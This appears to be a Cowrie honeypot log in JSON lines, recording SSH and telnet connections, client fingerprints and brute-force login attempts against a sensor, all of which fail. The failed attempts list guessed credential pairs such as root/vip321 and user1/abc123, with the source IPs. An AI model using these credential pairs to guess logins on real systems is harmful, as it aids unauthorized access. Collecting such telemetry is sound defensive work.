{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:50.253521Z","src_ip":"159.203.92.129","session":"b583a6b4ca31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"hao123.com","message":"login attempt [ansible/hao123.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:50.268270Z","src_ip":"159.203.92.129","session":"b583a6b4ca31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00125694274902,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:51.160473Z","src_ip":"37.77.55.45","session":"ec1573fb9abe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:51.275074Z","src_ip":"159.203.92.129","session":"b583a6b4ca31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.177.40","src_port":52208,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f12d226a2b6","protocol":"ssh","message":"New connection: 43.159.177.40:52208 (159.203.135.109:22) [session: 5f12d226a2b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:51.932552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:51.937379Z","src_ip":"43.159.177.40","session":"5f12d226a2b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:52.006212Z","src_ip":"43.159.177.40","session":"5f12d226a2b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"abc123","message":"login attempt [user1/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:52.315923Z","src_ip":"43.159.177.40","session":"5f12d226a2b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:53.387905Z","src_ip":"43.159.177.40","session":"5f12d226a2b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.323505640029907,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:55.090543Z","src_ip":"62.171.135.55","session":"e5707f4a5ac5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"vip321","message":"login attempt [root/vip321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:56.773238Z","src_ip":"213.209.159.158","session":"443184a46763","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":59510,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b1096554558","protocol":"ssh","message":"New connection: 80.94.92.182:59510 (10.17.0.5:22) [session: 4b1096554558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:58.032609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:58.245271Z","src_ip":"80.94.92.182","session":"4b1096554558","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:58.249477Z","src_ip":"80.94.92.182","session":"4b1096554558","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"!@#$%^","message":"login attempt [solana/!@#$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:31:59.525512Z","src_ip":"80.94.92.182","session":"4b1096554558","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:32:00.084908Z","src_ip":"213.209.159.158","session":"443184a46763","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":48758,"dst_ip":"159.203.135.109","dst_port":22,"session":"1376e0eb8d3f","protocol":"ssh","message":"New connection: 213.209.159.158:48758 (159.203.135.109:22) [session: 1376e0eb8d3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:32:00.227506Z"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:32:01.016253Z","src_ip":"80.94.92.182","session":"4b1096554558","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.822301387786865,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:32:01.066266Z","src_ip":"62.171.135.55","session":"c92a739b4fde","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:32:02.212528Z","src_ip":"213.209.159.158","session":"1376e0eb8d3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:32:02.217108Z","src_ip":"213.209.159.158","session":"1376e0eb8d3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":54870,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5b0332ffca7","protocol":"telnet","message":"New connection: 62.171.135.55:54870 (159.203.135.109:23) [session: d5b0332ffca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:32:06.167623Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Voda","message":"login attempt [root/Voda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:32:11.842679Z","src_ip":"213.209.159.158","session":"1376e0eb8d3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.7","message":"Connection lost after 14.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:32:14.977083Z","src_ip":"213.209.159.158","session":"1376e0eb8d3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":38824,"dst_ip":"159.203.135.109","dst_port":22,"session":"0834bdcfa62a","protocol":"ssh","message":"New connection: 213.209.159.158:38824 (159.203.135.109:22) [session: 0834bdcfa62a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:32:15.089053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:32:17.579072Z","src_ip":"213.209.159.158","session":"0834bdcfa62a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:32:17.582955Z","src_ip":"213.209.159.158","session":"0834bdcfa62a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.227.233.77","src_port":41150,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccba5e9d41d1","protocol":"ssh","message":"New connection: 156.227.233.77:41150 (159.203.135.109:22) [session: ccba5e9d41d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:32:20.359155Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:32:20.364309Z","src_ip":"156.227.233.77","session":"ccba5e9d41d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.919135570526123,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:32:20.508549Z","src_ip":"62.171.135.55","session":"855c71bb77c5","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:32:20.528825Z","src_ip":"156.227.233.77","session":"ccba5e9d41d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user13","password":"user13","message":"login attempt [user13/user13] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:32:21.243196Z","src_ip":"156.227.233.77","session":"ccba5e9d41d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:32:22.410689Z","src_ip":"156.227.233.77","session":"ccba5e9d41d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"volleyba","message":"login attempt [root/volleyba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:32:26.833921Z","src_ip":"213.209.159.158","session":"0834bdcfa62a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:32:30.409408Z","src_ip":"213.209.159.158","session":"0834bdcfa62a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":14976,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e1040e9fc76","protocol":"ssh","message":"New connection: 213.209.159.158:14976 (159.203.135.109:22) [session: 8e1040e9fc76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:32:30.551786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:32:32.734571Z","src_ip":"213.209.159.158","session":"8e1040e9fc76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:32:32.738502Z","src_ip":"213.209.159.158","session":"8e1040e9fc76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52878,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d681a6bc043","protocol":"ssh","message":"New connection: 159.203.92.129:52878 (159.203.135.109:22) [session: 4d681a6bc043]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:32:36.052375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:32:36.056985Z","src_ip":"159.203.92.129","session":"4d681a6bc043","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:32:36.061849Z","src_ip":"159.203.92.129","session":"4d681a6bc043","protocol":"ssh"}
